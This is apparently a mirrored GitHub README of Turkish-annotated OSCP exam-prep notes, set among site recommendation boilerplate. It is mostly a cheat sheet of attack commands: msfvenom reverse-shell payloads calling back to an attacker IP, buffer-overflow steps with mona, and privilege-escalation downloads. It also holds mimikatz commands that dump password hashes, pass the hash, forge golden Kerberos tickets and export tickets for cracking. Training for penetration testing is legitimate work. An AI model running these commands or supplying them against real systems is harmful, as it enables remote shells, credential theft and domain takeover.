GithubHelp home page GithubHelp logo

oscp-prep-notes's Introduction

OSCP-Prep-Notes

İlk taramalar

nmap -sS -sV -v IP -p- #Tüm portlara stealth scan at.

gobuster dir -u http://192.168.174.101/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 #dir taraması

#-x php,txt,py,c,js,bak,gz,tar,html,db,php.bak,key,jsp,asp # extension taraması

#-b 404 -s 201 # status code özelleştirme

BOF

!mona config -set workingfolder c:\mona%p

!mona bytearray -b "\x00"

!mona compare -f C:\mona<PATH>\bytearray.bin -a <ESP_ADDRESS/EBX_ADDRESS>

--

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.119.136 LPORT=4444 -b "\x00\x0a\x0d\x20\x37" -o exploit.txt

sfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.136 LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f c

msfvenom -p windows/exec CMD="cmd.exe" -b '\x00\x0a\x1a' -f c

msf-pattern_create -l 5000 > exploit.txt

msf-pattern_offset -q 413461A2 -l 5000

Privilege Escalation

wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh

sudo -l

Active Directory

net user # Enumerate all of the local accounts.

net user /domain # Enumerate all users in the entire domain.

net user admin_onur /domain # Enumerate spesific 'admin_onur' user in the domain.

net group /domain # Enumerate all the groups in the domain.

mimikatz

privilege::debug # admin

lsadump::lsa /patch # ntlm pass hashes dump

klist #cached tickets

sekurlsa::logonpasswords #dump pass hashes

sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:e2b475c11da2a0748290d87aa966c327 /run:PowerShell.exe

kerberos::golden /user:susan(herhangi bi user) /domain:exam.com /sid:S-1-5-21-88558181-3850747640-3669402957 /krbtgt:345caf37c36688f0afabed009787b7b2 /ptt

misc::cmd

PsExec64.exe \dc01 cmd.exe # powershell veya cmd acildiginda dcye baglan

PTT:

sekurlsa::tickets /export

/usr/share/kerberoast/kirbi2john.py mssqlsvc.kirbi

PowerView

https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview

oscp-prep-notes's People

Contributors

onurgule avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.